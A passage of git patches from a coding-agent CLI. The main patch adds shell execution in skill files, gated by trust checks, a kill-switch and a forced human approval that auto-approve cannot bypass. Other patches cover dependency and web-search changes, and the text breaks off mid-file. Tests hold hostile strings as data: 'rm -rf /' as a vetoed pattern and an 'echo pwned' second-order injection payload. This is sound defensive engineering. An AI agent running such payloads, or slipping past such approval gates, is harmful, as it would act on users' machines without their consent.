a/.changeset/exact-gpt-subscription.md b/.changeset/exact-gpt-subscription.md new file mode 100644 index 0000000000..05332f513e --- /dev/null +++ b/.changeset/exact-gpt-subscription.md @@ -0,0 +1,5 @@ +--- +"@kilocode/cli": patch +--- + +Exclude GPT-5.6 from models available through ChatGPT subscriptions while retaining access to variants such as GPT-5.6 Sol. diff --git a/packages/opencode/src/plugin/openai/codex.ts b/packages/opencode/src/plugin/openai/codex.ts index 262882669f..5a3a6fc9f9 100644 --- a/packages/opencode/src/plugin/openai/codex.ts +++ b/packages/opencode/src/plugin/openai/codex.ts @@ -29,7 +29,7 @@ const ALLOWED_MODELS = new Set([ // kilocode_change end ]) // kilocode_change start -const DISALLOWED_MODELS = new Set(["gpt-5.5-pro"]) +const DISALLOWED_MODELS = new Set(["gpt-5.5-pro", "gpt-5.6"]) // kilocode_change end interface PkceCodes { diff --git a/packages/opencode/test/plugin/codex.test.ts b/packages/opencode/test/plugin/codex.test.ts index a40b995358..a264bd376a 100644 --- a/packages/opencode/test/plugin/codex.test.ts +++ b/packages/opencode/test/plugin/codex.test.ts @@ -148,6 +148,14 @@ describe("plugin.codex", () => { id: "gpt-5.5", api: { id: "gpt-5.5" }, } as never, + "gpt-5.6": { + id: "gpt-5.6", + api: { id: "gpt-5.6" }, + } as never, + "gpt-5.6-sol": { + id: "gpt-5.6-sol", + api: { id: "gpt-5.6-sol" }, + } as never, "gpt-5.4-mini": { id: "gpt-5.4-mini", api: { id: "gpt-5.4-mini" }, @@ -164,6 +172,8 @@ describe("plugin.codex", () => { } as never, { auth: { type: "oauth" } } as never) expect(provider).not.toHaveProperty(["gpt-5.5-pro"]) expect(provider).toHaveProperty(["gpt-5.5"]) + expect(provider).not.toHaveProperty(["gpt-5.6"]) + expect(provider).toHaveProperty(["gpt-5.6-sol"]) expect(provider).toHaveProperty(["gpt-5.4-mini"]) expect(provider).toHaveProperty(["gpt-5.1-codex"]) expect(provider).not.toHaveProperty(["other-model"]) From c08f37e88b7d063429fba5b164e31c94d1935610 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Tue, 28 Jul 2026 15:26:14 +0200 Subject: [PATCH 010/100] feat(cli): execute shell commands in skill files with batch approval --- packages/opencode/src/cli/cmd/run.ts | 6 + packages/opencode/src/effect/runtime-flags.ts | 1 + .../opencode/src/kilocode/permission/drain.ts | 2 + .../opencode/src/kilocode/skills/inject.ts | 78 +++++++ packages/opencode/src/permission/index.ts | 13 ++ packages/opencode/src/skill/index.ts | 3 + packages/opencode/src/tool/skill.ts | 21 +- .../kilocode/permission/skill-shell.test.ts | 127 +++++++++++ .../test/kilocode/skills/inject.test.ts | 197 ++++++++++++++++++ .../tui/src/routes/session/permission.tsx | 24 ++- 10 files changed, 466 insertions(+), 6 deletions(-) create mode 100644 packages/opencode/src/kilocode/skills/inject.ts create mode 100644 packages/opencode/test/kilocode/permission/skill-shell.test.ts create mode 100644 packages/opencode/test/kilocode/skills/inject.test.ts diff --git a/packages/opencode/src/cli/cmd/run.ts b/packages/opencode/src/cli/cmd/run.ts index 56241ace1a..d77916109e 100644 --- a/packages/opencode/src/cli/cmd/run.ts +++ b/packages/opencode/src/cli/cmd/run.ts @@ -840,6 +840,12 @@ export const RunCommand = effectCmd({ if (event.type === "permission.asked") { const permission = event.properties + // kilocode_change start - skill shell batches need an interactive human decision; never headless auto-approve + if (permission.metadata?.["skillShell"] === true) { + await client.permission.reply({ requestID: permission.id, reply: "reject" }) + continue + } + // kilocode_change end // kilocode_change start - approve root and tracked Task child permissions in auto mode if (args.auto) { if (!KiloRunAuto.allowed(auto, permission.sessionID)) continue diff --git a/packages/opencode/src/effect/runtime-flags.ts b/packages/opencode/src/effect/runtime-flags.ts index 188dc4869a..f1bf3edb26 100644 --- a/packages/opencode/src/effect/runtime-flags.ts +++ b/packages/opencode/src/effect/runtime-flags.ts @@ -20,6 +20,7 @@ export class Service extends ConfigService.Service()("@opencode/Runtime disableChannelDb: bool("KILO_DISABLE_CHANNEL_DB"), // kilocode_change disableEmbeddedWebUi: bool("KILO_DISABLE_EMBEDDED_WEB_UI"), disableExternalSkills: bool("KILO_DISABLE_EXTERNAL_SKILLS"), + disableSkillShell: bool("KILO_DISABLE_SKILL_SHELL"), // kilocode_change - disable shell injection in skill bodies disableLspDownload: bool("KILO_DISABLE_LSP_DOWNLOAD"), skipMigrations: bool("KILO_SKIP_MIGRATIONS"), // kilocode_change disableClaudeCodePrompt: Config.all({ diff --git a/packages/opencode/src/kilocode/permission/drain.ts b/packages/opencode/src/kilocode/permission/drain.ts index 78f960c867..499f4f83e1 100644 --- a/packages/opencode/src/kilocode/permission/drain.ts +++ b/packages/opencode/src/kilocode/permission/drain.ts @@ -33,6 +33,8 @@ export function drainCovered( // Never auto-resolve config file edit permissions const skill = ConfigProtection.globalSkillPattern(entry.info) if (ConfigProtection.isRequest(entry.info) && !skill) continue + // Never auto-resolve a skill shell batch; it must get an explicit reply. + if (entry.info.metadata?.["skillShell"] === true) continue const actions = entry.info.patterns.map((pattern: string) => { const rule = skill ? Permission.evaluate(entry.info.permission, skill, approved) diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts new file mode 100644 index 0000000000..ceee78c742 --- /dev/null +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -0,0 +1,78 @@ +import { Effect } from "effect" +import { ChildProcessSpawner } from "effect/unstable/process/ChildProcessSpawner" +import type { ChildProcessSpawner as Spawner } from "effect/unstable/process/ChildProcessSpawner" +import { ConfigMarkdown } from "@/config/markdown" +import { CommandTimeout } from "@/kilocode/command-timeout" +import { Shell } from "@opencode-ai/core/shell" +import type * as Tool from "@/tool/tool" + +// Shell injection for skill bodies mirrors Claude's "dynamic context injection": +// a `!`cmd`` placeholder in SKILL.md is replaced by the command's stdout before +// the content reaches the model. Unlike the slash-command path, this runs for +// model-initiated skill loads, so it is gated on three independent controls: +// +// 1. Trust: only skills from trusted sources (global ~/.claude, ~/.agents, +// KILO_CONFIG_DIR, and builtins) may execute. Untrusted project/downloaded +// skills never spawn a process. +// 2. Kill-switch: `disabled` (KILO_DISABLE_SKILL_SHELL) turns injection off +// entirely, matching Claude's disableSkillShellExecution. +// 3. Batch approval: every command in the file is presented once, up front, in +// a single permission prompt (the `skillShell` metadata marker forces this +// prompt regardless of any allow/deny/auto-approve rule). Approve runs the +// whole batch; reject aborts the skill load with nothing run. +// +// Substitution runs exactly once. Command output is inlined as plain text and is +// never re-scanned, so a command cannot emit a `!`cmd`` placeholder that a later +// pass would execute (second-order injection). + +const DISABLED_NOTE = "[skill shell execution disabled by policy]" +const UNTRUSTED_NOTE = "[skill shell execution disabled for untrusted skill]" + +export namespace SkillInject { + export type Options = { + content: string + trusted: boolean + disabled: boolean + ctx: Tool.Context + spawner: Spawner["Service"] + } + + export const render = Effect.fn("SkillInject.render")(function* (opts: Options) { + const matches = ConfigMarkdown.shell(opts.content) + if (matches.length === 0) return opts.content + + // Defense-in-depth ordering: policy checks first, approval gate last. + if (opts.disabled) return replace(opts.content, () => DISABLED_NOTE) + if (!opts.trusted) return replace(opts.content, () => UNTRUSTED_NOTE) + + // Deduplicate identical commands so the batch lists and runs each once. + const commands = Array.from(new Set(matches.map(([, cmd]) => cmd))) + + // Single up-front approval for the whole batch. `skillShell` forces one + // prompt even when rules would allow or deny; a reject/deny propagates as a + // defect and aborts the skill load without running anything. + yield* opts.ctx.ask({ + permission: "bash", + patterns: commands, + always: [], + metadata: { skillShell: true }, + }) + + const shell = Shell.preferred() + const outputs = new Map() + for (const command of commands) { + outputs.set( + command, + yield* CommandTimeout.text(command, shell).pipe(Effect.provideService(ChildProcessSpawner, opts.spawner)), + ) + } + + return replace(opts.content, (command) => outputs.get(command) ?? "") + }) + + // Replace only the exact matches found in the ORIGINAL content. Never re-scan + // the result, so inlined output containing `!`cmd`` stays inert. + function replace(content: string, value: (command: string) => string) { + return content.replace(ConfigMarkdown.SHELL_REGEX, (_, command: string) => value(command)) + } +} diff --git a/packages/opencode/src/permission/index.ts b/packages/opencode/src/permission/index.ts index f15feff563..d5217693d2 100644 --- a/packages/opencode/src/permission/index.ts +++ b/packages/opencode/src/permission/index.ts @@ -155,6 +155,7 @@ function subset(permission: string, ruleset: Ruleset) { function covered(entry: PendingEntry, approved: Ruleset, local: Ruleset) { if (ConfigProtection.isRequest(entry.info)) return false + if (entry.info.metadata?.["skillShell"] === true) return false // kilocode_change - skill batch needs an explicit reply return entry.info.patterns.every((pattern) => { if (veto(entry.info.permission, pattern, entry.hardRuleset)) return false return resolve(entry.info.permission, pattern, entry.ruleset, approved, local).action === "allow" @@ -221,7 +222,19 @@ export const layer = Layer.effect( : false // kilocode_change end + // kilocode_change start - skill shell injection always prompts once, overriding every allow/deny/auto-approve rule + const forceAsk = request.metadata?.["skillShell"] === true + // kilocode_change end for (const pattern of request.patterns) { + // kilocode_change start - force a prompt over soft allow/deny rules, but never over a hard (plan-mode) veto + if (forceAsk) { + if (veto(request.permission, pattern, hardRuleset)) { + return yield* new DeniedError({ ruleset: subset(request.permission, hardRuleset ?? []) }) + } + needsAsk = true + continue + } + // kilocode_change end const rule = resolve(request.permission, pattern, ruleset, approved, local) // kilocode_change — include session-scoped rules yield* Effect.logInfo("evaluated", { permission: request.permission, pattern, action: rule }) // kilocode_change start — saved/session approvals cannot override hard Ask/Plan denials diff --git a/packages/opencode/src/skill/index.ts b/packages/opencode/src/skill/index.ts index 2477093d9f..1b5f4241cc 100644 --- a/packages/opencode/src/skill/index.ts +++ b/packages/opencode/src/skill/index.ts @@ -35,6 +35,7 @@ export const Info = Schema.Struct({ description: Schema.optional(Schema.String), location: Schema.String, content: Schema.String, + trusted: Schema.optional(Schema.Boolean), // kilocode_change - gate skill shell injection to trusted sources }) export type Info = Schema.Schema.Type @@ -151,6 +152,7 @@ const add = Effect.fnUntraced(function* (state: State, match: Match, events: Eve description: md.data.description, location: match.path, // kilocode_change content: md.content, + trusted: match.trusted, // kilocode_change } }) @@ -295,6 +297,7 @@ const loadSkills = Effect.fnUntraced(function* ( description: skill.description, location: BUILTIN_LOCATION, content: skill.content, + trusted: true, // kilocode_change - builtin skills ship in the binary } } // kilocode_change end diff --git a/packages/opencode/src/tool/skill.ts b/packages/opencode/src/tool/skill.ts index 4b84989504..ad2049afc2 100644 --- a/packages/opencode/src/tool/skill.ts +++ b/packages/opencode/src/tool/skill.ts @@ -5,6 +5,11 @@ import { Ripgrep } from "@opencode-ai/core/ripgrep" import { Skill } from "../skill" import * as Tool from "./tool" import DESCRIPTION from "./skill.txt" +// kilocode_change start - gate + run shell injection in skill bodies +import { ChildProcessSpawner } from "effect/unstable/process/ChildProcessSpawner" +import { RuntimeFlags } from "@/effect/runtime-flags" +import { SkillInject } from "@/kilocode/skills/inject" +// kilocode_change end export const Parameters = Schema.Struct({ name: Schema.String.annotate({ description: "The name of the skill from available_skills" }), @@ -15,6 +20,8 @@ export const SkillTool = Tool.define( Effect.gen(function* () { const skill = yield* Skill.Service const ripgrep = yield* Ripgrep.Service + const flags = yield* RuntimeFlags.Service // kilocode_change + const spawner = yield* ChildProcessSpawner // kilocode_change return { description: DESCRIPTION, @@ -32,6 +39,16 @@ export const SkillTool = Tool.define( metadata: {}, }) + // kilocode_change start - render `!`cmd`` shell injection, gated by trust + kill-switch + batch approval + const content = yield* SkillInject.render({ + content: info.content, + trusted: info.trusted === true, + disabled: flags.disableSkillShell, + ctx, + spawner, + }) + // kilocode_change end + // kilocode_change start - built-in skills have no filesystem directory if (info.location === Skill.BUILTIN_LOCATION) { return { @@ -40,7 +57,7 @@ export const SkillTool = Tool.define( ``, `# Skill: ${info.name}`, "", - info.content.trim(), + content.trim(), // kilocode_change "", ].join("\n"), metadata: { @@ -68,7 +85,7 @@ export const SkillTool = Tool.define( ``, `# Skill: ${info.name}`, "", - info.content.trim(), + content.trim(), // kilocode_change "", `Base directory for this skill: ${base}`, "Relative paths in this skill (e.g., scripts/, reference/) are relative to this base directory.", diff --git a/packages/opencode/test/kilocode/permission/skill-shell.test.ts b/packages/opencode/test/kilocode/permission/skill-shell.test.ts new file mode 100644 index 0000000000..d6b1fa7981 --- /dev/null +++ b/packages/opencode/test/kilocode/permission/skill-shell.test.ts @@ -0,0 +1,127 @@ +import { PermissionV1 } from "@opencode-ai/core/v1/permission" +import { expect } from "bun:test" +import { Cause, Effect, Exit, Fiber, Layer } from "effect" +import { EventV2Bridge } from "@/event-v2-bridge" +import { CrossSpawnSpawner } from "@opencode-ai/core/cross-spawn-spawner" +import { Database } from "@opencode-ai/core/database/database" +import { Permission } from "@/permission" +import { InstanceBootstrap } from "@/project/bootstrap-service" +import { InstanceStore } from "@/project/instance-store" +import { testEffect } from "../../lib/effect" +import { SessionID } from "@/session/schema" +import { RuntimeFlags } from "@/effect/runtime-flags" +import { Config } from "@/config/config" + +// skillShell forces a single up-front prompt over soft allow/deny/auto-approve +// rules, but must never override a hard (plan-mode) veto, and must never be +// auto-resolved while pending. + +const events = EventV2Bridge.defaultLayer +const noopBootstrap = Layer.succeed(InstanceBootstrap.Service, InstanceBootstrap.Service.of({ run: Effect.void })) +const env = Layer.mergeAll( + Permission.layer.pipe(Layer.provide(Database.defaultLayer), Layer.provide(events)), + events, + CrossSpawnSpawner.defaultLayer, + InstanceStore.defaultLayer.pipe(Layer.provide(noopBootstrap)), +).pipe(Layer.provide(RuntimeFlags.layer()), Layer.provide(Config.defaultLayer)) +const it = testEffect(Layer.mergeAll(env, RuntimeFlags.layer())) + +const ask = (input: Parameters[0]) => + Effect.gen(function* () { + return yield* (yield* Permission.Service).ask(input) + }) + +const list = () => + Effect.gen(function* () { + return yield* (yield* Permission.Service).list() + }) + +const rejectAll = () => + Effect.gen(function* () { + const permission = yield* Permission.Service + for (const req of yield* permission.list()) yield* permission.reply({ requestID: req.id, reply: "reject" }) + }) + +const waitForPending = (count: number) => + Effect.gen(function* () { + const permission = yield* Permission.Service + return yield* Effect.gen(function* () { + while (true) { + const pending = yield* permission.list() + if (pending.length === count) return pending + yield* Effect.sleep("10 millis") + } + }).pipe(Effect.timeoutOrElse({ duration: "1 second", orElse: () => Effect.fail(new Error("timed out")) })) + }) + +const fail = (self: Effect.Effect) => + Effect.gen(function* () { + const exit = yield* self.pipe(Effect.exit) + if (Exit.isFailure(exit)) return Cause.squash(exit.cause) + throw new Error("expected permission effect to fail") + }) + +it.instance( + "skillShell - forces a prompt even when a matching allow rule exists", + () => + Effect.gen(function* () { + const fiber = yield* ask({ + sessionID: SessionID.make("session_test"), + permission: "bash", + patterns: ["printf hi"], + metadata: { skillShell: true }, + always: [], + ruleset: [{ permission: "bash", pattern: "*", action: "allow" }], + }).pipe(Effect.forkScoped) + + expect(yield* waitForPending(1)).toHaveLength(1) + yield* rejectAll() + yield* Fiber.await(fiber) + }), + { git: true }, +) + +it.instance( + "skillShell - is denied by a hard-ruleset veto instead of prompting", + () => + Effect.gen(function* () { + const err = yield* fail( + ask({ + sessionID: SessionID.make("session_test"), + permission: "bash", + patterns: ["rm -rf /"], + metadata: { skillShell: true }, + always: [], + ruleset: [{ permission: "bash", pattern: "*", action: "allow" }], + hardRuleset: [{ permission: "bash", pattern: "*", action: "deny" }], + }), + ) + + expect(err).toBeInstanceOf(PermissionV1.DeniedError) + expect(yield* list()).toHaveLength(0) + }), + { git: true }, +) + +it.instance( + "skillShell - a pending batch is not auto-resolved by allowEverything", + () => + Effect.gen(function* () { + const fiber = yield* ask({ + sessionID: SessionID.make("session_test"), + permission: "bash", + patterns: ["printf hi"], + metadata: { skillShell: true }, + always: [], + ruleset: [], + }).pipe(Effect.forkScoped) + + expect(yield* waitForPending(1)).toHaveLength(1) + yield* (yield* Permission.Service).allowEverything({ enable: true }) + // still pending: YOLO cannot silently approve a skill batch + expect(yield* list()).toHaveLength(1) + yield* rejectAll() + yield* Fiber.await(fiber) + }), + { git: true }, +) diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts new file mode 100644 index 0000000000..1058968d1e --- /dev/null +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -0,0 +1,197 @@ +import { PermissionV1 } from "@opencode-ai/core/v1/permission" +import { CrossSpawnSpawner } from "@opencode-ai/core/cross-spawn-spawner" +import { Ripgrep } from "@opencode-ai/core/ripgrep" +import { Effect, Exit, Layer } from "effect" +import { afterEach, describe, expect } from "bun:test" +import fs from "fs" +import os from "os" +import path from "path" +import type { Tool } from "@/tool/tool" +import { SkillTool } from "@/tool/skill" +import { SkillInject } from "@/kilocode/skills/inject" +import { ToolRegistry } from "@/tool/registry" +import { disposeAllInstances, TestInstance } from "../../fixture/fixture" +import { SessionID, MessageID } from "@/session/schema" +import { testEffect } from "../../lib/effect" + +// Global (~/.claude) skills are trusted, but Global.Service snapshots the home +// path when its layer is built, so KILO_TEST_HOME must be set before the runtime +// layer below is constructed — not inside a test body. +const HOME = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), "skill-inject-home-"))) +process.env.KILO_TEST_HOME = HOME + +const baseCtx: Omit = { + sessionID: SessionID.make("ses_test"), + messageID: MessageID.make("msg_test"), + callID: "", + agent: "build", + abort: AbortSignal.any([]), + messages: [], + metadata: () => Effect.void, +} + +afterEach(async () => { + await disposeAllInstances() +}) + +const it = testEffect( + Layer.mergeAll(ToolRegistry.defaultLayer, CrossSpawnSpawner.defaultLayer).pipe(Layer.provide(Ripgrep.defaultLayer)), +) + +// Shell injection spawns real processes; skip on windows CI like the sibling suite. +const unix = process.platform !== "win32" ? it.instance : it.instance.skip + +afterEach(async () => { + // reset discovered skills between tests by clearing the global skill dir + await fs.promises.rm(path.join(HOME, ".agents"), { recursive: true, force: true }) +}) + +// Global ~/.agents skills are trusted (and, unlike ~/.claude, not gated by the +// KILO_DISABLE_CLAUDE_CODE flag the test env sets); project .kilo skills are untrusted. +function writeGlobalSkill(name: string, body: string) { + return Effect.promise(() => + Bun.write( + path.join(HOME, ".agents", "skills", name, "SKILL.md"), + `---\nname: ${name}\ndescription: ${name} test skill.\n---\n\n${body}\n`, + ), + ) +} + +function writeProjectSkill(dir: string, name: string, body: string) { + return Effect.promise(() => + Bun.write( + path.join(dir, ".kilo", "skill", name, "SKILL.md"), + `---\nname: ${name}\ndescription: ${name} test skill.\n---\n\n${body}\n`, + ), + ) +} + +function loadSkill(name: string, ask: Tool.Context["ask"]) { + return Effect.gen(function* () { + const registry = yield* ToolRegistry.Service + const agent = { name: "build", mode: "primary" as const, permission: [], options: {} } + const tool = (yield* registry.tools({ + providerID: "opencode" as any, + modelID: "gpt-5" as any, + agent, + })).find((t) => t.id === SkillTool.id) + if (!tool) throw new Error("Skill tool not found") + return yield* tool.execute({ name }, { ...baseCtx, ask }) + }) +} + +describe("skill shell injection", () => { + unix("runs the batch after a single forced approval listing every command", () => + Effect.gen(function* () { + yield* writeGlobalSkill("trusted-shell", "A: !`printf one` B: !`printf two`") + + const requests: Array> = [] + const result = yield* loadSkill("trusted-shell", (req) => + Effect.sync(() => { + requests.push(req) + }), + ) + + expect(result.output).toContain("A: one B: two") + // one skill-load ask plus exactly one batch bash ask carrying all commands + const bash = requests.filter((r) => r.permission === "bash") + expect(bash.length).toBe(1) + expect(bash[0].metadata?.["skillShell"]).toBe(true) + // patterns carry the command list the prompt renders + expect(bash[0].patterns).toEqual(["printf one", "printf two"]) + }), + ) + + unix("aborts the entire skill load when the batch is rejected", () => + Effect.gen(function* () { + yield* writeGlobalSkill("denied-shell", "Secret: !`printf leaked`") + + const exit = yield* loadSkill("denied-shell", (req) => + // Reject the batch. Tools wrap ctx.ask with Effect.orDie, so this reaches + // the injector as a defect and must abort the whole skill load. + req.permission === "bash" + ? Effect.fail(new PermissionV1.RejectedError()).pipe(Effect.orDie) + : Effect.void, + ).pipe(Effect.exit) + + expect(Exit.isFailure(exit)).toBe(true) + }), + ) + + unix("does not run shell injection for untrusted project skills", () => + Effect.gen(function* () { + const dir = (yield* TestInstance).directory + yield* writeProjectSkill(dir, "untrusted-shell", "Value: !`printf shouldnotrun`") + + const requests: Array> = [] + const result = yield* loadSkill("untrusted-shell", (req) => + Effect.sync(() => { + requests.push(req) + }), + ) + + expect(result.output).toContain("[skill shell execution disabled for untrusted skill]") + expect(result.output).not.toContain("shouldnotrun") + // no bash permission ask because nothing was scanned or spawned + expect(requests.some((r) => r.permission === "bash")).toBe(false) + }), + ) + + unix("does not re-execute shell placeholders emitted by command output", () => + Effect.gen(function* () { + // The command emits a literal placeholder `!echo pwned` + // built from octal escapes so the SKILL.md itself contains no nested + // backticks. If render re-scanned command output, `echo pwned` would run. + yield* writeGlobalSkill("nested-shell", "Out: !`printf '!\\140echo pwned\\140'`") + + const result = yield* loadSkill("nested-shell", () => Effect.void) + + expect(result.output).toContain("!`echo pwned`") + // "pwned" must appear only inside the inert placeholder, never executed alone. + expect(result.output).not.toMatch(/Out:\s*pwned\s*$/m) + }), + ) +}) + +// The disabled (kill-switch) and untrusted branches must short-circuit before +// asking permission or spawning. Passing an ask/spawner that throws proves +// neither is reached. +describe("SkillInject.render gating", () => { + const boom = () => { + throw new Error("must not be reached") + } + const spawner = new Proxy({}, { get: boom }) as any + const ctx = { ...baseCtx, ask: () => Effect.sync(boom) } as Tool.Context + + const run = (opts: { trusted: boolean; disabled: boolean; content?: string }) => + Effect.runPromise( + SkillInject.render({ + content: opts.content ?? "Value: !`printf ran`", + trusted: opts.trusted, + disabled: opts.disabled, + ctx, + spawner, + }), + ) + + it.effect("kill-switch replaces every command without asking or running it", () => + Effect.gen(function* () { + const out = yield* Effect.promise(() => run({ trusted: true, disabled: true })) + expect(out).toBe("Value: [skill shell execution disabled by policy]") + }), + ) + + it.effect("untrusted skills never ask or run their commands", () => + Effect.gen(function* () { + const out = yield* Effect.promise(() => run({ trusted: false, disabled: false })) + expect(out).toBe("Value: [skill shell execution disabled for untrusted skill]") + }), + ) + + it.effect("content without placeholders is returned unchanged", () => + Effect.gen(function* () { + const out = yield* Effect.promise(() => run({ trusted: true, disabled: false, content: "no commands here" })) + expect(out).toBe("no commands here") + }), + ) +}) diff --git a/packages/tui/src/routes/session/permission.tsx b/packages/tui/src/routes/session/permission.tsx index 6e712ccd34..a6f21d0c2f 100644 --- a/packages/tui/src/routes/session/permission.tsx +++ b/packages/tui/src/routes/session/permission.tsx @@ -291,6 +291,20 @@ export function PermissionPrompt(props: { request: PermissionRequest; directory? } if (permission === "bash") { + // kilocode_change start - skill shell batches list every command + if (props.request.metadata?.["skillShell"] === true) { + const commands = (props.request.patterns ?? []).filter((p): p is string => typeof p === "string") + return { + icon: "#", + title: "Run these skill commands?", + body: ( + + {(cmd) => {"$ " + cmd}} + + ), + } + } + // kilocode_change end // kilocode_change start const meta = props.request.metadata ?? {} const desc = @@ -446,10 +460,12 @@ export function PermissionPrompt(props: { request: PermissionRequest; directory? ) - // kilocode_change start - hide "Always allow" for protected Kilo configuration access - const options: Record = props.request.metadata?.[ConfigProtection.DISABLE_ALWAYS_KEY] - ? { once: "Allow once", reject: "Reject" } - : { once: "Allow once", always: "Allow always", reject: "Reject" } + // kilocode_change start - skill shell batches are never persisted: only Allow / Reject + const options: Record = props.request.metadata?.["skillShell"] + ? { once: "Allow", reject: "Reject" } + : props.request.metadata?.[ConfigProtection.DISABLE_ALWAYS_KEY] + ? { once: "Allow once", reject: "Reject" } + : { once: "Allow once", always: "Allow always", reject: "Reject" } // kilocode_change end const body = ( From 2d784a0e3162818afdb89b2c2352e45fdaaa8c6d Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Tue, 28 Jul 2026 15:27:30 +0200 Subject: [PATCH 011/100] chore(cli): add changeset for skill shell execution --- .changeset/skill-shell-execution.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 .changeset/skill-shell-execution.md diff --git a/.changeset/skill-shell-execution.md b/.changeset/skill-shell-execution.md new file mode 100644 index 0000000000..bbe09cf70d --- /dev/null +++ b/.changeset/skill-shell-execution.md @@ -0,0 +1,5 @@ +--- +"@kilocode/cli": minor +--- + +Support executing shell commands embedded in skill files. Commands written as `` !`command` `` in a SKILL.md run when the skill loads and their output is inlined into the skill, gated by a single up-front approval that lists every command. Only trusted skills can run commands, and `KILO_DISABLE_SKILL_SHELL` disables the behavior. From 7041ab640d5b5aacbe0755530587142e16bce3a2 Mon Sep 17 00:00:00 2001 From: HDCode Date: Tue, 28 Jul 2026 18:45:43 +0200 Subject: [PATCH 012/100] chore(jetbrains): centralize test dependency versions --- packages/kilo-jetbrains/frontend/build.gradle.kts | 4 ++-- packages/kilo-jetbrains/gradle/libs.versions.toml | 7 ++++++- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/packages/kilo-jetbrains/frontend/build.gradle.kts b/packages/kilo-jetbrains/frontend/build.gradle.kts index 0c141225c6..a42f67e199 100644 --- a/packages/kilo-jetbrains/frontend/build.gradle.kts +++ b/packages/kilo-jetbrains/frontend/build.gradle.kts @@ -28,8 +28,8 @@ dependencies { implementation(libs.zxing.core) testImplementation(kotlin("test")) - testImplementation("junit:junit:4.13.2") - testRuntimeOnly("org.junit.vintage:junit-vintage-engine:5.11.4") + testImplementation(libs.junit) + testRuntimeOnly(libs.junit.vintage.engine) } val providerIcons = tasks.register("generateProviderIcons") { diff --git a/packages/kilo-jetbrains/gradle/libs.versions.toml b/packages/kilo-jetbrains/gradle/libs.versions.toml index 15b48416fe..182e9b77c4 100644 --- a/packages/kilo-jetbrains/gradle/libs.versions.toml +++ b/packages/kilo-jetbrains/gradle/libs.versions.toml @@ -5,6 +5,9 @@ intellij-rpc-plugin = "2.3.20-RC2-0.1" kotlin-jvm-plugin = "2.3.20" kotlin-serialization-plugin = "2.3.20" kotlin-serialization = "1.11.0" +kotlinx-coroutines = "1.10.2" +junit = "4.13.2" +junit-vintage = "5.11.4" okhttp = "4.12.0" openapi-generator = "7.21.0" detekt = "1.23.8" @@ -22,7 +25,9 @@ okhttp = { module = "com.squareup.okhttp3:okhttp", version.ref = "okhttp" } okhttp-sse = { module = "com.squareup.okhttp3:okhttp-sse", version.ref = "okhttp" } okhttp-mockwebserver = { module = "com.squareup.okhttp3:mockwebserver", version.ref = "okhttp" } kotlinx-serialization-json = { module = "org.jetbrains.kotlinx:kotlinx-serialization-json", version.ref = "kotlin-serialization" } -kotlinx-coroutines-test = { module = "org.jetbrains.kotlinx:kotlinx-coroutines-test", version = "1.10.2" } +kotlinx-coroutines-test = { module = "org.jetbrains.kotlinx:kotlinx-coroutines-test", version.ref = "kotlinx-coroutines" } +junit = { module = "junit:junit", version.ref = "junit" } +junit-vintage-engine = { module = "org.junit.vintage:junit-vintage-engine", version.ref = "junit-vintage" } zxing-core = { module = "com.google.zxing:core", version.ref = "zxing" } commons-compress = { module = "org.apache.commons:commons-compress", version.ref = "commons-compress" } From c0ebf987789ab6fa070106219ebc8c46cd0105af Mon Sep 17 00:00:00 2001 From: Aarav Date: Wed, 29 Jul 2026 02:07:24 -0600 Subject: [PATCH 013/100] feat(opencode): route websearch Exa through Kilo proxy (#12470) Add a new Kilo-REST Exa transport alongside the existing MCP-Exa and MCP-Parallel transports. When the websearch tool picks the Exa provider and the user is signed into Kilo, requests go to https://app.kilo.ai/api/exa/search with the user's Kilo bearer. The cloud proxy injects its own Exa API key; the client sends the user's Kilo API key as a Bearer token. The MCP-BYOK path (EXA_API_KEY) and MCP-unauthed fallback are preserved unchanged. Changes: * New `packages/opencode/src/kilocode/tool/websearch-kilo-exa.ts` implements `callKiloExa` against the Exa REST API (`POST /search`) with `{ highlights: true }` contents and clamps numResults at 10 (Exa's first-10-results flat $0.007 tier). * `packages/opencode/src/tool/websearch.ts` adds a `"kilo-exa"` provider variant (selected only via `KILO_WEBSEARCH_PROVIDER` override), an Auth.Service yield to source the Kilo bearer, a transport-dispatch block that prefers Kilo-REST over MCP when auth is available and EXA_API_KEY is unset, and `transport` metadata on the tool part. MCP-Exa numResults is now clamped at 10 (default stays 8). * 13 unit tests in `packages/opencode/test/kilocode/tool/websearch-kilo-exa.test.ts` cover request shape, response formatting, error handling, and the costDollars ignore case. * Parameters snapshot updated for the new numResults description string. * Patch-level changeset added. --- .changeset/kilo-exa-websearch.md | 5 + .../src/kilocode/tool/websearch-kilo-exa.ts | 74 +++++++ packages/opencode/src/tool/websearch.ts | 66 ++++++- .../kilocode/tool/websearch-kilo-exa.test.ts | 180 ++++++++++++++++++ .../__snapshots__/parameters.test.ts.snap | 2 +- 5 files changed, 317 insertions(+), 10 deletions(-) create mode 100644 .changeset/kilo-exa-websearch.md create mode 100644 packages/opencode/src/kilocode/tool/websearch-kilo-exa.ts create mode 100644 packages/opencode/test/kilocode/tool/websearch-kilo-exa.test.ts diff --git a/.changeset/kilo-exa-websearch.md b/.changeset/kilo-exa-websearch.md new file mode 100644 index 0000000000..58bd6ec146 --- /dev/null +++ b/.changeset/kilo-exa-websearch.md @@ -0,0 +1,5 @@ +--- +"@kilocode/cli": patch +--- + +Route the websearch tool's Exa requests through the Kilo proxy when signed into Kilo. The MCP-Exa transport is preserved as a fallback for users who set `EXA_API_KEY` or are not authenticated. A new `KILO_WEBSEARCH_PROVIDER=kilo-exa` env override forces the Kilo proxy path. Results are capped at 10. diff --git a/packages/opencode/src/kilocode/tool/websearch-kilo-exa.ts b/packages/opencode/src/kilocode/tool/websearch-kilo-exa.ts new file mode 100644 index 0000000000..1e590b6c18 --- /dev/null +++ b/packages/opencode/src/kilocode/tool/websearch-kilo-exa.ts @@ -0,0 +1,74 @@ +// kilocode_change - new file +import { Duration, Effect, Schema } from "effect" +import { HttpClient, HttpClientRequest } from "effect/unstable/http" +import { KILO_API_BASE } from 